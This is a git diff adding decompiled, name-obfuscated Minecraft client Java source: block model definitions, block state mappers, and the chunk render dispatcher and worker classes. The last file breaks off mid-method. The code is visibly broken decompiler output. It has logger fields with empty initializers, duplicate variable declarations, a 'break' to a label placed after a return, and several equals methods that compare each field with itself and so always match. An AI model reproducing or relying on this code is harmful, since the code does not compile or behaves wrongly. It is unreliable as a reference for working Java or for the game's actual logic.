+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ instanceof ModelBlockDefinition))
+    {
+      ModelBlockDefinition var2 = (ModelBlockDefinition)p_equals_1_;
+      return field_178332_b.equals(field_178332_b);
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return field_178332_b.hashCode();
+  }
+  
+  public static class Deserializer implements JsonDeserializer {
+    private static final String __OBFID = "CL_00002497";
+    
+    public Deserializer() {}
+    
+    public ModelBlockDefinition func_178336_a(JsonElement p_178336_1_, Type p_178336_2_, JsonDeserializationContext p_178336_3_) {
+      JsonObject var4 = p_178336_1_.getAsJsonObject();
+      List var5 = func_178334_a(p_178336_3_, var4);
+      return new ModelBlockDefinition(var5);
+    }
+    
+    protected List func_178334_a(JsonDeserializationContext p_178334_1_, JsonObject p_178334_2_)
+    {
+      JsonObject var3 = JsonUtils.getJsonObject(p_178334_2_, "variants");
+      ArrayList var4 = Lists.newArrayList();
+      Iterator var5 = var3.entrySet().iterator();
+      
+      while (var5.hasNext())
+      {
+        Map.Entry var6 = (Map.Entry)var5.next();
+        var4.add(func_178335_a(p_178334_1_, var6));
+      }
+      
+      return var4;
+    }
+    
+    protected ModelBlockDefinition.Variants func_178335_a(JsonDeserializationContext p_178335_1_, Map.Entry p_178335_2_)
+    {
+      String var3 = (String)p_178335_2_.getKey();
+      ArrayList var4 = Lists.newArrayList();
+      JsonElement var5 = (JsonElement)p_178335_2_.getValue();
+      
+      if (var5.isJsonArray())
+      {
+        Iterator var6 = var5.getAsJsonArray().iterator();
+        
+        while (var6.hasNext())
+        {
+          JsonElement var7 = (JsonElement)var6.next();
+          var4.add((ModelBlockDefinition.Variant)p_178335_1_.deserialize(var7, ModelBlockDefinition.Variant.class));
+        }
+      }
+      else
+      {
+        var4.add((ModelBlockDefinition.Variant)p_178335_1_.deserialize(var5, ModelBlockDefinition.Variant.class));
+      }
+      
+      return new ModelBlockDefinition.Variants(var3, var4);
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_178336_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+  
+  public class MissingVariantException extends RuntimeException
+  {
+    private static final String __OBFID = "CL_00002496";
+    
+    public MissingVariantException() {}
+  }
+  
+  public static class Variant {
+    private final ResourceLocation field_178437_a;
+    private final ModelRotation field_178435_b;
+    private final boolean field_178436_c;
+    private final int field_178434_d;
+    private static final String __OBFID = "CL_00002495";
+    
+    public Variant(ResourceLocation p_i46219_1_, ModelRotation p_i46219_2_, boolean p_i46219_3_, int p_i46219_4_) {
+      field_178437_a = p_i46219_1_;
+      field_178435_b = p_i46219_2_;
+      field_178436_c = p_i46219_3_;
+      field_178434_d = p_i46219_4_;
+    }
+    
+    public ResourceLocation getModelLocation()
+    {
+      return field_178437_a;
+    }
+    
+    public ModelRotation getRotation()
+    {
+      return field_178435_b;
+    }
+    
+    public boolean isUvLocked()
+    {
+      return field_178436_c;
+    }
+    
+    public int getWeight()
+    {
+      return field_178434_d;
+    }
+    
+    public boolean equals(Object p_equals_1_)
+    {
+      if (this == p_equals_1_)
+      {
+        return true;
+      }
+      if (!(p_equals_1_ instanceof Variant))
+      {
+        return false;
+      }
+      
+
+      Variant var2 = (Variant)p_equals_1_;
+      return (field_178437_a.equals(field_178437_a)) && (field_178435_b == field_178435_b) && (field_178436_c == field_178436_c);
+    }
+    
+
+    public int hashCode()
+    {
+      int var1 = field_178437_a.hashCode();
+      var1 = 31 * var1 + (field_178435_b != null ? field_178435_b.hashCode() : 0);
+      var1 = 31 * var1 + (field_178436_c ? 1 : 0);
+      return var1;
+    }
+    
+    public static class Deserializer implements JsonDeserializer {
+      private static final String __OBFID = "CL_00002494";
+      
+      public Deserializer() {}
+      
+      public ModelBlockDefinition.Variant func_178425_a(JsonElement p_178425_1_, Type p_178425_2_, JsonDeserializationContext p_178425_3_) {
+        JsonObject var4 = p_178425_1_.getAsJsonObject();
+        String var5 = func_178424_b(var4);
+        ModelRotation var6 = func_178428_a(var4);
+        boolean var7 = func_178429_d(var4);
+        int var8 = func_178427_c(var4);
+        return new ModelBlockDefinition.Variant(func_178426_a(var5), var6, var7, var8);
+      }
+      
+      private ResourceLocation func_178426_a(String p_178426_1_)
+      {
+        ResourceLocation var2 = new ResourceLocation(p_178426_1_);
+        var2 = new ResourceLocation(var2.getResourceDomain(), "block/" + var2.getResourcePath());
+        return var2;
+      }
+      
+      private boolean func_178429_d(JsonObject p_178429_1_)
+      {
+        return JsonUtils.getJsonObjectBooleanFieldValueOrDefault(p_178429_1_, "uvlock", false);
+      }
+      
+      protected ModelRotation func_178428_a(JsonObject p_178428_1_)
+      {
+        int var2 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(p_178428_1_, "x", 0);
+        int var3 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(p_178428_1_, "y", 0);
+        ModelRotation var4 = ModelRotation.func_177524_a(var2, var3);
+        
+        if (var4 == null)
+        {
+          throw new com.google.gson.JsonParseException("Invalid BlockModelRotation x: " + var2 + ", y: " + var3);
+        }
+        
+
+        return var4;
+      }
+      
+
+      protected String func_178424_b(JsonObject p_178424_1_)
+      {
+        return JsonUtils.getJsonObjectStringFieldValue(p_178424_1_, "model");
+      }
+      
+      protected int func_178427_c(JsonObject p_178427_1_)
+      {
+        return JsonUtils.getJsonObjectIntegerFieldValueOrDefault(p_178427_1_, "weight", 1);
+      }
+      
+      public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+      {
+        return func_178425_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+      }
+    }
+  }
+  
+  public static class Variants
+  {
+    private final String field_178423_a;
+    private final List field_178422_b;
+    private static final String __OBFID = "CL_00002493";
+    
+    public Variants(String p_i46218_1_, List p_i46218_2_)
+    {
+      field_178423_a = p_i46218_1_;
+      field_178422_b = p_i46218_2_;
+    }
+    
+    public List getVariants()
+    {
+      return field_178422_b;
+    }
+    
+    public boolean equals(Object p_equals_1_)
+    {
+      if (this == p_equals_1_)
+      {
+        return true;
+      }
+      if (!(p_equals_1_ instanceof Variants))
+      {
+        return false;
+      }
+      
+
+      Variants var2 = (Variants)p_equals_1_;
+      return !field_178423_a.equals(field_178423_a) ? false : field_178422_b.equals(field_178422_b);
+    }
+    
+
+    public int hashCode()
+    {
+      int var1 = field_178423_a.hashCode();
+      var1 = 31 * var1 + field_178422_b.hashCode();
+      return var1;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/statemap/BlockStateMapper.java b/src/minecraft/net/minecraft/client/renderer/block/statemap/BlockStateMapper.java
new file mode 100644
index 0000000..a68a7a0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/statemap/BlockStateMapper.java
@@ -0,0 +1,46 @@
+package net.minecraft.client.renderer.block.statemap;
+
+import com.google.common.base.Objects;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.util.IdentityHashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+
+public class BlockStateMapper
+{
+  private Map field_178450_a = Maps.newIdentityHashMap();
+  private Set field_178449_b = Sets.newIdentityHashSet();
+  private static final String __OBFID = "CL_00002478";
+  
+  public BlockStateMapper() {}
+  
+  public void func_178447_a(Block p_178447_1_, IStateMapper p_178447_2_) { field_178450_a.put(p_178447_1_, p_178447_2_); }
+  
+
+  public void registerBuiltInBlocks(Block... p_178448_1_)
+  {
+    java.util.Collections.addAll(field_178449_b, p_178448_1_);
+  }
+  
+  public Map func_178446_a()
+  {
+    IdentityHashMap var1 = Maps.newIdentityHashMap();
+    Iterator var2 = Block.blockRegistry.iterator();
+    
+    while (var2.hasNext())
+    {
+      Block var3 = (Block)var2.next();
+      
+      if (!field_178449_b.contains(var3))
+      {
+        var1.putAll(((IStateMapper)Objects.firstNonNull(field_178450_a.get(var3), new DefaultStateMapper())).func_178130_a(var3));
+      }
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/statemap/DefaultStateMapper.java b/src/minecraft/net/minecraft/client/renderer/block/statemap/DefaultStateMapper.java
new file mode 100644
index 0000000..ada502e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/statemap/DefaultStateMapper.java
@@ -0,0 +1,16 @@
+package net.minecraft.client.renderer.block.statemap;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+
+public class DefaultStateMapper extends StateMapperBase
+{
+  private static final String __OBFID = "CL_00002477";
+  
+  public DefaultStateMapper() {}
+  
+  protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_)
+  {
+    return new ModelResourceLocation((net.minecraft.util.ResourceLocation)net.minecraft.block.Block.blockRegistry.getNameForObject(p_178132_1_.getBlock()), func_178131_a(p_178132_1_.getProperties()));
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/statemap/IStateMapper.java b/src/minecraft/net/minecraft/client/renderer/block/statemap/IStateMapper.java
new file mode 100644
index 0000000..796ce7d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/statemap/IStateMapper.java
@@ -0,0 +1,9 @@
+package net.minecraft.client.renderer.block.statemap;
+
+import java.util.Map;
+import net.minecraft.block.Block;
+
+public abstract interface IStateMapper
+{
+  public abstract Map func_178130_a(Block paramBlock);
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/statemap/StateMap.java b/src/minecraft/net/minecraft/client/renderer/block/statemap/StateMap.java
new file mode 100644
index 0000000..281db76
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/statemap/StateMap.java
@@ -0,0 +1,94 @@
+package net.minecraft.client.renderer.block.statemap;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.resources.model.ModelResourceLocation;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+
+public class StateMap extends StateMapperBase
+{
+  private final IProperty field_178142_a;
+  private final String field_178141_c;
+  private final List field_178140_d;
+  private static final String __OBFID = "CL_00002476";
+  
+  private StateMap(IProperty p_i46210_1_, String p_i46210_2_, List p_i46210_3_)
+  {
+    field_178142_a = p_i46210_1_;
+    field_178141_c = p_i46210_2_;
+    field_178140_d = p_i46210_3_;
+  }
+  
+  protected ModelResourceLocation func_178132_a(IBlockState p_178132_1_)
+  {
+    LinkedHashMap var2 = Maps.newLinkedHashMap(p_178132_1_.getProperties());
+    String var3;
+    String var3;
+    if (field_178142_a == null)
+    {
+      var3 = ((ResourceLocation)Block.blockRegistry.getNameForObject(p_178132_1_.getBlock())).toString();
+    }
+    else
+    {
+      var3 = field_178142_a.getName((Comparable)var2.remove(field_178142_a));
+    }
+    
+    if (field_178141_c != null)
+    {
+      var3 = var3 + field_178141_c;
+    }
+    
+    Iterator var4 = field_178140_d.iterator();
+    
+    while (var4.hasNext())
+    {
+      IProperty var5 = (IProperty)var4.next();
+      var2.remove(var5);
+    }
+    
+    return new ModelResourceLocation(var3, func_178131_a(var2));
+  }
+  
+  StateMap(IProperty p_i46211_1_, String p_i46211_2_, List p_i46211_3_, Object p_i46211_4_)
+  {
+    this(p_i46211_1_, p_i46211_2_, p_i46211_3_);
+  }
+  
+  public static class Builder
+  {
+    private IProperty field_178445_a;
+    private String field_178443_b;
+    private final List field_178444_c = Lists.newArrayList();
+    private static final String __OBFID = "CL_00002474";
+    
+    public Builder() {}
+    
+    public Builder func_178440_a(IProperty p_178440_1_) { field_178445_a = p_178440_1_;
+      return this;
+    }
+    
+    public Builder func_178439_a(String p_178439_1_)
+    {
+      field_178443_b = p_178439_1_;
+      return this;
+    }
+    
+    public Builder func_178442_a(IProperty... p_178442_1_)
+    {
+      java.util.Collections.addAll(field_178444_c, p_178442_1_);
+      return this;
+    }
+    
+    public StateMap build()
+    {
+      return new StateMap(field_178445_a, field_178443_b, field_178444_c, null);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/statemap/StateMapperBase.java b/src/minecraft/net/minecraft/client/renderer/block/statemap/StateMapperBase.java
new file mode 100644
index 0000000..bb8b9ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/statemap/StateMapperBase.java
@@ -0,0 +1,60 @@
+package net.minecraft.client.renderer.block.statemap;
+
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import net.minecraft.block.Block;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+
+public abstract class StateMapperBase implements IStateMapper
+{
+  protected Map field_178133_b = Maps.newLinkedHashMap();
+  private static final String __OBFID = "CL_00002479";
+  
+  public StateMapperBase() {}
+  
+  public String func_178131_a(Map p_178131_1_) { StringBuilder var2 = new StringBuilder();
+    Iterator var3 = p_178131_1_.entrySet().iterator();
+    
+    while (var3.hasNext())
+    {
+      Map.Entry var4 = (Map.Entry)var3.next();
+      
+      if (var2.length() != 0)
+      {
+        var2.append(",");
+      }
+      
+      IProperty var5 = (IProperty)var4.getKey();
+      Comparable var6 = (Comparable)var4.getValue();
+      var2.append(var5.getName());
+      var2.append("=");
+      var2.append(var5.getName(var6));
+    }
+    
+    if (var2.length() == 0)
+    {
+      var2.append("normal");
+    }
+    
+    return var2.toString();
+  }
+  
+  public Map func_178130_a(Block p_178130_1_)
+  {
+    Iterator var2 = p_178130_1_.getBlockState().getValidStates().iterator();
+    
+    while (var2.hasNext())
+    {
+      IBlockState var3 = (IBlockState)var2.next();
+      field_178133_b.put(var3, func_178132_a(var3));
+    }
+    
+    return field_178133_b;
+  }
+  
+  protected abstract net.minecraft.client.resources.model.ModelResourceLocation func_178132_a(IBlockState paramIBlockState);
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator.java b/src/minecraft/net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator.java
new file mode 100644
index 0000000..34c2a24
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator.java
@@ -0,0 +1,155 @@
+package net.minecraft.client.renderer.chunk;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.client.renderer.RegionRenderCacheBuilder;
+
+public class ChunkCompileTaskGenerator
+{
+  private final RenderChunk field_178553_a;
+  private final ReentrantLock field_178551_b = new ReentrantLock();
+  private final List field_178552_c = Lists.newArrayList();
+  private final Type field_178549_d;
+  private RegionRenderCacheBuilder field_178550_e;
+  private CompiledChunk field_178547_f;
+  private Status field_178548_g;
+  private boolean field_178554_h;
+  private static final String __OBFID = "CL_00002466";
+  
+  public ChunkCompileTaskGenerator(RenderChunk p_i46208_1_, Type p_i46208_2_)
+  {
+    field_178548_g = Status.PENDING;
+    field_178553_a = p_i46208_1_;
+    field_178549_d = p_i46208_2_;
+  }
+  
+  public Status func_178546_a()
+  {
+    return field_178548_g;
+  }
+  
+  public RenderChunk func_178536_b()
+  {
+    return field_178553_a;
+  }
+  
+  public CompiledChunk func_178544_c()
+  {
+    return field_178547_f;
+  }
+  
+  public void func_178543_a(CompiledChunk p_178543_1_)
+  {
+    field_178547_f = p_178543_1_;
+  }
+  
+  public RegionRenderCacheBuilder func_178545_d()
+  {
+    return field_178550_e;
+  }
+  
+  public void func_178541_a(RegionRenderCacheBuilder p_178541_1_)
+  {
+    field_178550_e = p_178541_1_;
+  }
+  
+  public void func_178535_a(Status p_178535_1_)
+  {
+    field_178551_b.lock();
+    
+    try
+    {
+      field_178548_g = p_178535_1_;
+    }
+    finally
+    {
+      field_178551_b.unlock();
+    }
+  }
+  
+  public void func_178542_e()
+  {
+    field_178551_b.lock();
+    
+    try
+    {
+      if ((field_178549_d == Type.REBUILD_CHUNK) && (field_178548_g != Status.DONE))
+      {
+        field_178553_a.func_178575_a(true);
+      }
+      
+      field_178554_h = true;
+      field_178548_g = Status.DONE;
+      Iterator var1 = field_178552_c.iterator();
+      
+      while (var1.hasNext())
+      {
+        Runnable var2 = (Runnable)var1.next();
+        var2.run();
+      }
+    }
+    finally
+    {
+      field_178551_b.unlock();
+    }
+  }
+  
+  public void func_178539_a(Runnable p_178539_1_)
+  {
+    field_178551_b.lock();
+    
+    try
+    {
+      field_178552_c.add(p_178539_1_);
+      
+      if (field_178554_h)
+      {
+        p_178539_1_.run();
+      }
+    }
+    finally
+    {
+      field_178551_b.unlock();
+    }
+  }
+  
+  public ReentrantLock func_178540_f()
+  {
+    return field_178551_b;
+  }
+  
+  public Type func_178538_g()
+  {
+    return field_178549_d;
+  }
+  
+  public boolean func_178537_h()
+  {
+    return field_178554_h;
+  }
+  
+  public static enum Status
+  {
+    PENDING("PENDING", 0, "PENDING", 0), 
+    COMPILING("COMPILING", 1, "COMPILING", 1), 
+    UPLOADING("UPLOADING", 2, "UPLOADING", 2), 
+    DONE("DONE", 3, "DONE", 3);
+    private static final Status[] $VALUES = { PENDING, COMPILING, UPLOADING, DONE };
+    
+    private static final String __OBFID = "CL_00002465";
+    
+    private Status(String p_i46385_1_, int p_i46385_2_, String p_i46207_1_, int p_i46207_2_) {}
+  }
+  
+  public static enum Type
+  {
+    REBUILD_CHUNK("REBUILD_CHUNK", 0, "REBUILD_CHUNK", 0), 
+    RESORT_TRANSPARENCY("RESORT_TRANSPARENCY", 1, "RESORT_TRANSPARENCY", 1);
+    private static final Type[] $VALUES = { REBUILD_CHUNK, RESORT_TRANSPARENCY };
+    private static final String __OBFID = "CL_00002464";
+    
+    private Type(String p_i46386_1_, int p_i46386_2_, String p_i46206_1_, int p_i46206_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/ChunkRenderDispatcher.java b/src/minecraft/net/minecraft/client/renderer/chunk/ChunkRenderDispatcher.java
new file mode 100644
index 0000000..4b6a948
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/ChunkRenderDispatcher.java
@@ -0,0 +1,300 @@
+package net.minecraft.client.renderer.chunk;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Queues;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFutureTask;
+import com.google.common.util.concurrent.ThreadFactoryBuilder;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Queue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.RegionRenderCacheBuilder;
+import net.minecraft.client.renderer.VertexBufferUploader;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.WorldVertexBufferUploader;
+import net.minecraft.client.renderer.vertex.VertexBuffer;
+import net.minecraft.util.EnumWorldBlockLayer;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.GL11;
+
+public class ChunkRenderDispatcher
+{
+  private static final Logger field_178523_a = ;
+  private static final ThreadFactory field_178521_b = new ThreadFactoryBuilder().setNameFormat("Chunk Batcher %d").setDaemon(true).build();
+  private final List field_178522_c = Lists.newArrayList();
+  private final BlockingQueue field_178519_d = Queues.newArrayBlockingQueue(100);
+  private final BlockingQueue field_178520_e = Queues.newArrayBlockingQueue(5);
+  private final WorldVertexBufferUploader field_178517_f = new WorldVertexBufferUploader();
+  private final VertexBufferUploader field_178518_g = new VertexBufferUploader();
+  private final Queue field_178524_h = Queues.newArrayDeque();
+  
+  private final ChunkRenderWorker field_178525_i;
+  
+  private static final String __OBFID = "CL_00002463";
+  
+  public ChunkRenderDispatcher()
+  {
+    for (int var1 = 0; var1 < 2; var1++)
+    {
+      ChunkRenderWorker var2 = new ChunkRenderWorker(this);
+      Thread var3 = field_178521_b.newThread(var2);
+      var3.start();
+      field_178522_c.add(var2);
+    }
+    
+    for (var1 = 0; var1 < 5; var1++)
+    {
+      field_178520_e.add(new RegionRenderCacheBuilder());
+    }
+    
+    field_178525_i = new ChunkRenderWorker(this, new RegionRenderCacheBuilder());
+  }
+  
+  public String func_178504_a()
+  {
+    return String.format("pC: %03d, pU: %1d, aB: %1d", new Object[] { Integer.valueOf(field_178519_d.size()), Integer.valueOf(field_178524_h.size()), Integer.valueOf(field_178520_e.size()) });
+  }
+  
+  public boolean func_178516_a(long p_178516_1_)
+  {
+    boolean var3 = false;
+    
+    long var8;
+    do
+    {
+      boolean var4 = false;
+      Queue var5 = field_178524_h;
+      Queue var81 = field_178524_h;
+      
+      synchronized (field_178524_h)
+      {
+        if (!field_178524_h.isEmpty())
+        {
+          ((ListenableFutureTask)field_178524_h.poll()).run();
+          var4 = true;
+          var3 = true;
+        }
+      }
+      
+      if ((p_178516_1_ == 0L) || (!var4)) {
+        break;
+      }
+      
+
+      var8 = p_178516_1_ - System.nanoTime();
+    }
+    while ((var8 >= 0L) && (var8 <= 1000000000L));
+    
+    return var3;
+  }
+  
+  public boolean func_178507_a(RenderChunk p_178507_1_)
+  {
+    p_178507_1_.func_178579_c().lock();
+    
+    boolean var4;
+    try
+    {
+      final ChunkCompileTaskGenerator var2 = p_178507_1_.func_178574_d();
+      var2.func_178539_a(new Runnable()
+      {
+        private static final String __OBFID = "CL_00002462";
+        
+        public void run() {
+          field_178519_d.remove(var2);
+        }
+      });
+      boolean var3 = field_178519_d.offer(var2);
+      
+      if (!var3)
+      {
+        var2.func_178542_e();
+      }
+      
+      var4 = var3;
+    }
+    finally {
+      boolean var4;
+      p_178507_1_.func_178579_c().unlock();
+    }
+    
+    return var4;
+  }
+  
+  public boolean func_178505_b(RenderChunk p_178505_1_)
+  {
+    p_178505_1_.func_178579_c().lock();
+    
+    boolean var3;
+    try
+    {
+      ChunkCompileTaskGenerator var2 = p_178505_1_.func_178574_d();
+      
+      try
+      {
+        field_178525_i.func_178474_a(var2);
+      }
+      catch (InterruptedException localInterruptedException) {}
+      
+
+
+
+      var3 = true;
+    }
+    finally {
+      boolean var3;
+      p_178505_1_.func_178579_c().unlock();
+    }
+    
+    return var3;
+  }
+  
+  public void func_178514_b()
+  {
+    func_178513_e();
+    
+    while (func_178516_a(0L)) {}
+    
+
+
+
+    ArrayList var1 = Lists.newArrayList();
+    
+    while (var1.size() != 5)
+    {
+      try
+      {
+        var1.add(func_178515_c());
+      }
+      catch (InterruptedException localInterruptedException) {}
+    }
+    
+
+
+
+    field_178520_e.addAll(var1);
+  }
+  
+  public void func_178512_a(RegionRenderCacheBuilder p_178512_1_)
+  {
+    field_178520_e.add(p_178512_1_);
+  }
+  
+  public RegionRenderCacheBuilder func_178515_c() throws InterruptedException, InterruptedException
+  {
+    return (RegionRenderCacheBuilder)field_178520_e.take();
+  }
+  
+  public ChunkCompileTaskGenerator func_178511_d() throws InterruptedException, InterruptedException
+  {
+    return (ChunkCompileTaskGenerator)field_178519_d.take();
+  }
+  
+  public boolean func_178509_c(RenderChunk p_178509_1_)
+  {
+    p_178509_1_.func_178579_c().lock();
+    
+
+    try
+    {
+      final ChunkCompileTaskGenerator var2 = p_178509_1_.func_178582_e();
+      
+
+      if (var2 == null)
+      {
+        boolean var3 = true;
+        return var3;
+      }
+      
+      var2.func_178539_a(new Runnable()
+      {
+        private static final String __OBFID = "CL_00002461";
+        
+        public void run() {
+          field_178519_d.remove(var2);
+        }
+      });
+      boolean var3 = field_178519_d.offer(var2);
+      var4 = var3;
+    }
+    finally {
+      boolean var4;
+      p_178509_1_.func_178579_c().unlock(); } boolean var4; p_178509_1_.func_178579_c().unlock();
+    
+
+    return var4;
+  }
+  
+  public com.google.common.util.concurrent.ListenableFuture func_178503_a(final EnumWorldBlockLayer p_178503_1_, final WorldRenderer p_178503_2_, final RenderChunk p_178503_3_, final CompiledChunk p_178503_4_)
+  {
+    if (Minecraft.getMinecraft().isCallingFromMinecraftThread())
+    {
+      if (OpenGlHelper.func_176075_f())
+      {
+        func_178506_a(p_178503_2_, p_178503_3_.func_178565_b(p_178503_1_.ordinal()));
+      }
+      else
+      {
+        func_178510_a(p_178503_2_, ((ListedRenderChunk)p_178503_3_).func_178600_a(p_178503_1_, p_178503_4_), p_178503_3_);
+      }
+      
+      p_178503_2_.setTranslation(0.0D, 0.0D, 0.0D);
+      return Futures.immediateFuture(null);
+    }
+    
+
+    ListenableFutureTask var5 = ListenableFutureTask.create(new Runnable()
+    {
+      private static final String __OBFID = "CL_00002460";
+      
+      public void run() {
+        func_178503_a(p_178503_1_, p_178503_2_, p_178503_3_, p_178503_4_);
+      }
+    }, null);
+    Queue var6 = field_178524_h;
+    Queue var7 = field_178524_h;
+    
+    synchronized (field_178524_h)
+    {
+      field_178524_h.add(var5);
+      return var5;
+    }
+  }
+  
+
+  private void func_178510_a(WorldRenderer p_178510_1_, int p_178510_2_, RenderChunk p_178510_3_)
+  {
+    GL11.glNewList(p_178510_2_, 4864);
+    GlStateManager.pushMatrix();
+    p_178510_3_.func_178572_f();
+    field_178517_f.draw(p_178510_1_, p_178510_1_.func_178976_e());
+    GlStateManager.popMatrix();
+    GL11.glEndList();
+  }
+  
+  private void func_178506_a(WorldRenderer p_178506_1_, VertexBuffer p_178506_2_)
+  {
+    field_178518_g.func_178178_a(p_178506_2_);
+    field_178518_g.draw(p_178506_1_, p_178506_1_.func_178976_e());
+  }
+  
+  public void func_178513_e()
+  {
+    while (!field_178519_d.isEmpty())
+    {
+      ChunkCompileTaskGenerator task = (ChunkCompileTaskGenerator)field_178519_d.poll();
+      
+      if (task != null)
+      {
+        task.func_178542_e();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/chunk/ChunkRenderWorker.java b/src/minecraft/net/minecraft/client/renderer/chunk/ChunkRenderWorker.java
new file mode 100644
index 0000000..f9856e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/chunk/ChunkRenderWorker.java
@@ -0,0 +1,226 @@
+package net.minecraft.client.renderer.chunk;
+
+import com.google.common.collect.Lists;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.RegionRenderCacheBuilder;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.EnumWorldBlockLayer;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ChunkRenderWorker implements Runnable
+{
+  private static final Logger LOGGER = ;
+  private final ChunkRenderDispatcher field_178477_b;
+  private final RegionRenderCacheBuilder field_178478_c;
+  private static final String __OBFID = "CL_00002459";
+  
+  public ChunkRenderWorker(ChunkRenderDispatcher p_i46201_1_)
+  {
+    this(p_i46201_1_, null);
+  }
+  
+  public ChunkRenderWorker(ChunkRenderDispatcher p_i46202_1_, RegionRenderCacheBuilder p_i46202_2_)
+  {
+    field_178477_b = p_i46202_1_;
+    field_178478_c = p_i46202_2_;
+  }
+  
+  public void run()
+  {
+    try
+    {
+      for (;;)
+      {
+        func_178474_a(field_178477_b.func_178511_d());
+      }
+    }
+    catch (InterruptedException var3)
+    {
+      LOGGER.debug("Stopping due to interrupt");
+    }
+    catch (Throwable var4)
+    {
+      CrashReport var2 = CrashReport.makeCrashReport(var4, "Batching chunks");
+      Minecraft.getMinecraft().crashed(Minecraft.getMinecraft().addGraphicsAndWorldToCrashReport(var2));
+    }
+  }
+  
+  protected void func_178474_a(final ChunkCompileTaskGenerator p_178474_1_) throws InterruptedException
+  {
+    p_178474_1_.func_178540_f().lock();
+    
+
+    try
+    {
+      if (p_178474_1_.func_178546_a() == ChunkCompileTaskGenerator.Status.PENDING)
+      {
+        p_178474_1_.func_178535_a(ChunkCompileTaskGenerator.Status.COMPILING);
+        
+
+
+
+
+
+
+
+
+
+        p_178474_1_.func_178540_f().unlock();
+        break label94;
+      }
+      if (!p_178474_1_.func_178537_h())
+      {
+        LOGGER.warn("Chunk render task was " + p_178474_1_.func_178546_a() + " when I expected it to be pending; ignoring task");
+      }
+    }
+    finally
+    {
+      p_178474_1_.func_178540_f().unlock(); } p_178474_1_.func_178540_f().unlock();
+    
+
+    return;
+    label94:
+    Entity var2 = Minecraft.getMinecraft().func_175606_aa();
+    
+    if (var2 == null)
+    {
+      p_178474_1_.func_178542_e();
+    }
+    else
+    {
+      p_178474_1_.func_178541_a(func_178475_b());
+      float var3 = (float)posX;
+      float var4 = (float)posY + var2.getEyeHeight();
+      float var5 = (float)posZ;
+      ChunkCompileTaskGenerator.Type var6 = p_178474_1_.func_178538_g();
+      
+      if (var6 == ChunkCompileTaskGenerator.Type.REBUILD_CHUNK)
+      {
+        p_178474_1_.func_178536_b().func_178581_b(var3, var4, var5, p_178474_1_);
+      }
+      else if (var6 == ChunkCompileTaskGenerator.Type.RESORT_TRANSPARENCY)
+      {
+        p_178474_1_.func_178536_b().func_178570_a(var3, var4, var5, p_178474_1_);
+      }
+      
+      p_178474_1_.func_178540_f().lock();
+      
+      try
+      {
+        if (p_178474_1_.func_178546_a() != ChunkCompileTaskGenerator.Status.COMPILING)
+        {
